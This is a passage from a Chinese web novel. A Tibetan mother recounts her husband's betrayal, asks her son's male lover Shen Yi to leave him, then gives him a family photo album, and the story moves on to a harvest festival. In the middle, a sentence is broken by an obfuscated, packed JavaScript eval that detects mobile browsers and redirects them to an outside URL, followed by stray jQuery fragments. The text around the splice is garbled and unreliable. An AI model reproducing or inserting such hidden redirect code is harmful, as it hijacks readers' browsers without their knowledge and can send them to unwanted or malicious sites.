次日清晨，阿妈米玛啦照例念经，吃完早饭。
单独找沈翊过来，让德吉次仁翻译问他“你们真的彼此相爱吗？”
米玛阿姨用手捂住嘴巴，重重咳嗽了一声。
低沉，沙哑，像是弥留之人最后的挣扎。但不等他们上去帮忙，她缓慢地摆了摆手，用那双满是劳作痕迹的手，比划着示意德吉次仁继续翻译。
阿妈米玛啦说一句，她翻译一句。
沈翊安静了许久，他呆愣在原地，不知该如何作答。
“我们这个家，”她开口，手指无意识地捻着袍子边缘磨损的毛线，“是从一棵很大的树上，硬生生掰下来的枝杈。
本家是当地有名的富家。当年爷爷为了保证家族的繁荣，将兄弟两人留在家里，让这个家更好，只是家庭的不和睦是无法改变的。
她顿了顿，目光似乎穿越墙壁，看到了很远的地方。“爷爷一走，家就散了。我们分出来的时候，阿妈选了阿爸，没选那个更有出息的弟弟。什么家产都没要，就要了这个人。两个人，几件袍子，一口锅，就来了这里。”
“从头开始，是什么意思？”德吉次仁扯了扯嘴角，笑意凉薄，“就是阿爸外出找活计，一年到头见不到几面。阿妈一个人，成了这个家的‘男人’。你看现在这些田，这水渠，这房子……最早的那一犁，是阿妈咬着牙、淌着汗翻开的。她得为了一点工钱扯着嗓子骂街，得在集市上为了几毛钱变成别人眼里最不好惹的‘泼妇’。她那双现在捡佛珠、转经筒的手，曾经满是裂口，指甲缝里塞满洗不掉的泥和牛粪。”
“后来，日子越来越好。阿爸又出去打工，钱寄得越来越少，信也越来越短。直到我上初中那年秋天，他回来了。”
她的眼神空茫，“开着一辆我们从没见过的、亮得扎眼的车，穿着笔挺得像电视里人的衣服。阿妈正在院子里和湿牛粪，准备贴墙。她听见声音，抬起头，一脸的泥点子，可眼睛一下子亮了，那是真的光……她大概以为，苦日子到头了，男人出息了，回来了。”
“她笑着跑过去，手都没来得及擦。”德吉次仁的指甲掐进了掌心，“可阿爸没看她。他绕到另一边，特别‘绅士’地打开车门，扶下来一个女人。很年轻，穿着那时最时尚的藏袍和鞋子，站在我们的土院子里，眼里全是嫌弃和不耐烦。”
这次男人回来只是为了离婚。母亲当场拿着铁锹往男人身上狠狠地砸，男人反应迅速只是蹭到后背而已。
那一日的母亲，没了往日的慈祥与温柔，有的只是对男人的失望与深深的恨意。男人转身跑进了车里，母亲不会打开这门，只能用尽一切力气拍打着车窗，嘴里念着一句又一句的禽兽、撒如、单扎、都系等等脏话，她狰狞，她毫无尊严，她成了别人口中的笑话。
‘爱’这个词太虚假了，虚假到母亲不知道这个世界上还有这种东西。她说，那是识字的人编出来骗傻子的。
‘父母之命，媒妁之言’，像配牲口一样搭伙过日子，日子久了，磨出来的不是情分，是恶心，是透骨的恨。她前半辈子被‘母亲’的身份绑在这里，挨打受穷；后半辈子被‘孩子’拴在这里，眼睁睁看着男人用她熬干自己换来的一点家底，去对别的女人献殷勤。”
“她只能更狠地逼自己，她把所有指望，一点不剩，系在我们姐弟身上。我们是她的命换来的，也是她的债，她的勋章，她这辈子唯一能骄傲的资本。”
‘父母之命、媒妁之言’得来的婚姻何来的爱，日久生情那是文化人用来骗人的东西，日久生的不是情，是厌恶，是失望，是一次又一次的失望，是一次又一次的失言，是最终的背叛。前半辈子，他是被孩子束缚在这里，后半辈子他依旧是被孩子束缚在这里。被丈夫背叛之后她成了女强人，他无所不能，他把一切希望放在孩子身上，两个孩子是他用了一生换来的。”德吉次仁痛苦的闭上了眼睛，最后的一句话如同冷水般泼在他身上，“所以，你能离开他吗？这是我作为母亲的请求。”
德吉次仁睁开泪眼，看向沈翊，那目光里充满了无尽的疲惫和哀求，以及深深的、无法消弭的隔阂。
“所以，”德吉次仁声音嘶哑，每一个字都耗尽了力气，““所以，你能离开他吗？这是我作为母亲的请求。”
德吉次仁说：“她不是恨你，她是怕极了。怕她用一辈子血泪垒起来的这个家，她看得比命重的儿子，再被‘感情’这种东西，拽进她爬不出来的那个深渊里。”
那些话像冰冷的雨水，一字一句砸在沈翊心上。
他听着，却忽然想起尼玛旺堆在扎央宗的山路上回头向他伸手的模样，那么坚定，那么不容置疑，仿佛他天生就知道该在什么时候托住沈翊摇晃的世界。
“对不起。”德吉次仁说完最后一句话，痛苦地闭上了眼睛，“我早该知道母亲会是这样的反应……”
沈翊深吸一口气。炉火在他眼前跳动，光影在米玛阿姨布满皱纹的脸上摇曳。他忽然意识到，这位老人和尼玛
旺堆有着同样深邃的眼睛，只是她的眼底沉积了太多风霜，而尼玛旺堆的眼睛里，当他看向自己时，充满爱意的眼神是独一无二的。
“米玛阿姨，”沈翊开口，声音出乎意料的平静，“你经历过的一切痛苦，又要让你的儿子重新体验一次吗？”
他说得很慢，每个字都在心里斟酌过。“尼玛旺堆也是人，他也有选择的权利。”
米玛阿姨抬起眼看着他。那一刻沈翊看见了，在那双被苦难磨砺过的眼睛里，除了固执和恐惧，还有一丝极其微弱的、连她自己可能都未察觉的动摇。那是母亲的本能看见孩子真正快乐时，那种无法完全扼杀的欣慰。
沈翊提到了尼玛旺堆表白时穿的藏袍，提到他骄傲地说“那是你亲手做给他的”。当他说这些话时，米玛阿姨的手指无意识地摩挲着自己藏袍的衣角，那上面有她亲手绣的纹样，一针一线，缝进了多少个漫长的夜晚。
房间里的空气仿佛凝固了。能清晰听见每个人的呼吸声，炉火燃烧的滋滋声，远处隐约传来的牛铃声。时间被拉得很长，长得足够沈翊回想起这近一年来的每一个细节……
他想起了那个在田间第一次见到尼玛旺堆干农活的下午。
---
那是春灌结束后的第一个晴天。沈翊跟着尼玛旺堆来到田边，看着这个平日里沉默的青年完全变了一个人。
尼玛旺堆赤着脚踩在刚刚灌溉过的泥土里，裤腿挽到膝盖，露出结实的小腿肌肉。他手里握着一把铁锹，正在修整田埂。阳光落在他古铜色的皮肤上，汗水沿着脊椎的沟壑滑进衣领。他的动作有力而精准，每一锹泥土都落在该落的位置，仿佛这不是劳作，而是一场与土地对话的仪式。
“还要继续看吗？”尼玛旺堆回头看他，脸上有淡淡的笑意，“可能会很无聊。”
沈翊摇摇头，在田埂上找了块干燥的地方坐下。他本来带了本书，但很快就发现自己根本读不进去，他的目光总是不自觉地飘向那个在田间劳作的身影。
尼玛旺堆干活时很专注，眉头微皱，嘴唇抿成一条线。他会时不时停下来，抓起一把泥土在手里捻开，观察湿度，然后继续调整水流的方向。这种专注让沈翊想起他讲解唐卡时的神情，同样的虔诚，同样的全神贯注。
中午休息时，尼玛旺堆走过来，在沈翊旁边坐下。他从布袋里拿出糌粑和酥油茶，很自然地分给沈翊一半。
“累吗？”沈翊问。
尼玛旺堆摇摇头，喝了一大口茶：“习惯了。土地就是这样，你付出多少，它就回报多少。”他顿了顿，看向沈翊，“不像人。”
这话说得突兀，沈翊愣了下。
尼玛旺堆似乎也意识到自己说了什么，低头捏着手里的糌粑团。“我的意思是……人太复杂了。有时候你付出很多，可能什么也得不到。”
他说这话时没有看沈翊，但沈翊能感觉到，这句话里藏着某种试探。现在明白了那是对父亲的不满。
那天傍晚收工回家时，尼玛旺堆的肩膀上被晒红了一大片。沈翊走在后面，看着那片发红的皮肤，心里忽然涌起一股冲动，他想伸手碰一碰，想知道被高原太阳灼伤的温度是怎样的。
当然他没有这么做。他只是默默记下了这件事，当晚悄悄向德吉次仁要了晒伤药膏，放在尼玛旺堆的枕头边。
第二天早上，尼玛旺堆什么也没说。但吃早饭时，他给沈翊多倒了一碗酥油茶，手指在碗边停留了片刻，那是他无声的道谢。
---
米玛阿姨的叹息声将沈翊拉回现实。那声音像年代久远的齿轮缓慢运作，吱吱作响，下一秒仿佛就要碎掉。然后，沈翊看见她闭着眼睛，流下了一滴眼泪。
那滴眼泪缓慢地滑过她布满皱纹的脸颊，在下巴处停留了片刻，才坠入藏袍的纹理中，消失不见。
她让德吉次仁去拿了什么东西。
两人望着彼此，米玛阿姨的眼神非常纯净，没有丝毫的责怪之意。这种眼神让沈翊感到困惑，如果她真的坚决反对，为什么眼底没有愤怒，只有深沉的悲哀？
德吉次仁拿来一个用红布包裹的东西。米玛阿姨接过来，在手里摩挲了很久，久到沈翊几乎以为她改变了主意。然后，她将那个包裹递向了沈翊。
“那是送给你的，收下吧。”德吉次仁的声音有些哽咽。
沈翊下意识地接过来。红布包裹的东西不重，形状方正，摸起来像是一本书，或者一个相框。
不等他打开，也不等他再问什么，米玛阿姨已经挥挥手，示意谈话结束。沈翊被请出了房间，他抱着那个红布包裹，站在尼玛旺堆的卧室里，完全跟不上这位老人的思维逻辑。
他小心地解开红布。里面是一本手工装订的相册还有一枚戒指。
相册很旧了，封面是手工压花的牛皮纸。沈翊翻开第一页，呼吸忽然一滞——
那是一张黑白照片，照片里的米玛阿姨还很年轻，可能只有二十岁。她穿着传统藏袍，头发梳的一丝不苟，站在一栋尚未建完的房子前，肩上扛着一根粗大的房梁。她的脸上没有笑容，只有一种坚毅的、几乎可以说是凶狠的神情。照片背面用藏文写了一行字，沈翊看不懂，但他猜，那可能是日期，或者一句誓言。
他继续往后翻。照片记
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183004|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
录了这座房子建成的全过程，米玛阿姨和泥、砌墙、上梁；她独自牵着牦牛耕地；她背着婴儿时期的德吉次仁在田间除草；她站在丰收的青稞田里，脸上终于有了笑容。
相册的最后几页是彩色的。有尼玛旺堆小时候的照片，胖嘟嘟的，被姐姐抱在怀里；有德吉次仁第一次去拉萨上学时，全家在门口的合影；还有一张，沈翊的手指在上面停留了很久，是尼玛旺堆高中毕业时的照片。他穿着校服，手里拿着毕业证书，笑容腼腆而明亮。照片边缘有一小块污渍，像是被水滴晕开过。
沈翊合上相册，将它紧紧抱在胸前。他现在明白了米玛阿姨的复杂心情，她给了他这个家最珍贵的历史，既是展示她为之付出的一切，也是告诉他，有些东西比她个人的恐惧更重要。
不等沈翊反应过来，就被米玛阿姨请出去了，他呆在尼玛旺堆的卧室，完全跟不上米玛阿姨的脑回路。
就这样来到了望果节。
----
望果节到来时，米玛阿姨的身体似乎好转了一些。她甚至亲自为沈翊准备了一套藏袍不是尼玛旺堆的，而是一套崭新的、按照沈翊尺寸改过的藏袍。
“阿妈说，”德吉次仁在帮沈翊穿衣服时解释，“既然要参加望果节，就要穿得正式些。”
沈翊抚摸着藏袍的布料，那是厚重的羊毛呢，颜色是深沉的赭红色，衣襟和袖口绣着精致的吉祥纹样。“这太贵重了。”他低声说。
“收下吧。”德吉次仁为他系好腰带，退后一步端详，“很适合你。”
那天清晨，全村人都聚集在村口的煨桑台前。桑烟袅袅升起，僧侣们吹响法号，鼓钹齐鸣。沈翊穿着那身藏袍，跟在尼玛旺堆身边，感觉自己既像个局外人，又仿佛被某种巨大的力量温柔地包裹着。
队伍开始绕田游行。人们手持经幡、宝伞、彩箭，一边行走一边高呼：“羌酷秀！央酷秀！”（风调雨顺！吉祥如意！）声音在山谷间回荡，与风声、法号声、脚步声交织成一种震撼人心的交响。
尼玛旺堆走在沈翊斜前方。他今天也穿了最正式的藏袍，深蓝色的面料衬得他肩膀宽阔，腰背挺直。沈翊看着他被风吹起的头发，看着他随队伍行进时沉稳的步伐，心里涌起一种奇异的感觉，这个人既属于这片土地，又仿佛超越了这片土地。
游行途中经过一片油菜花田，金黄色的花朵在阳光下灿烂得刺眼。尼玛旺堆忽然放慢脚步，等沈翊走到身边。
“累吗？”他问，声音在喧闹中显得格外清晰。
沈翊摇摇头。实际上他的脚已经开始疼了。新靴子磨脚，但他不想说。
尼玛旺堆却仿佛看出来了。在下一个转弯处，他自然地伸出手，托了一下沈翊的手肘。“小心，这里石头多。”
那个触碰很短暂，但沈翊能感觉到尼玛旺堆手掌的温度，透过厚厚的衣料传递过来。之后的路程，尼玛旺堆始终走在他身侧半步的位置，每当路面不平，那只手就会适时地伸过来。
仪式结束后是聚餐。人们围坐在田边的空地上，分享各自带来的食物。沈翊被一群孩子拉着坐在中间，他们好奇地摸他的藏袍，用不熟练的汉语问：“你是从哪里来的？”“你会唱藏歌吗？”
尼玛旺堆在不远处看着，脸上有淡淡的笑意。德吉次仁端着两碗青稞酒走过来，递给他一碗：“不去陪他？”
“让他玩吧。”尼玛旺堆说，目光却一直没离开沈翊。
“你看他的眼神，”德吉次仁抿了口酒，“阿妈早就同意了。”
尼玛旺堆沉默了很久。远处传来孩子们的欢笑声，沈翊正在笨拙地学唱一首简单的藏语童谣，发音古怪，逗得孩子们前仰后合。
“姐，”尼玛旺堆忽然开口，“你觉得……我错了吗？”
德吉次仁看着他，眼神柔软下来：“你觉得呢？”
“我不知道。”尼玛旺堆低下头，看着碗里晃动的酒液，“我只知道，和他在一起的时候，我觉得……完整。”
这个词他说得很轻，但德吉次仁听清了。她伸手拍了拍弟弟的肩膀，什么也没说。
那天傍晚是尼玛旺堆开着三轮车来接沈翊的。夕阳将田野染成金红色，远处的雪山尖上还有最后一抹光亮。沈翊爬上三轮车后斗，坐在一堆空箩筐中间，感觉自己浑身上下都是尘土和阳光的味道。
尼玛旺堆递过来一个水壶：“喝点水。”
沈翊接过来，发现水是温的，尼玛旺堆特意用保温壶装了热水。这个细节让他心里一暖。
三轮车在土路上颠簸前行。风很大，吹得沈翊几乎睁不开眼。他索性闭上眼睛，感受晚风拂过脸颊，听着车轮压过路面的声音，和远处隐约传来的牧歌声。
“开心吗？”尼玛旺堆的声音从前座传来，被风吹得有些模糊。
沈翊睁开眼，看着尼玛旺堆宽阔的后背。藏袍被风吹得紧贴在身上，勾勒出肩胛骨的形状。“嗯，”他大声回答，“很开心！”
他说的是实话。这一刻，穿着米玛阿姨送的藏袍，坐在尼玛旺堆驾驶的三轮车上，行驶在丰收的田野间，他感到一种前所未有的、扎根于土地的踏实感。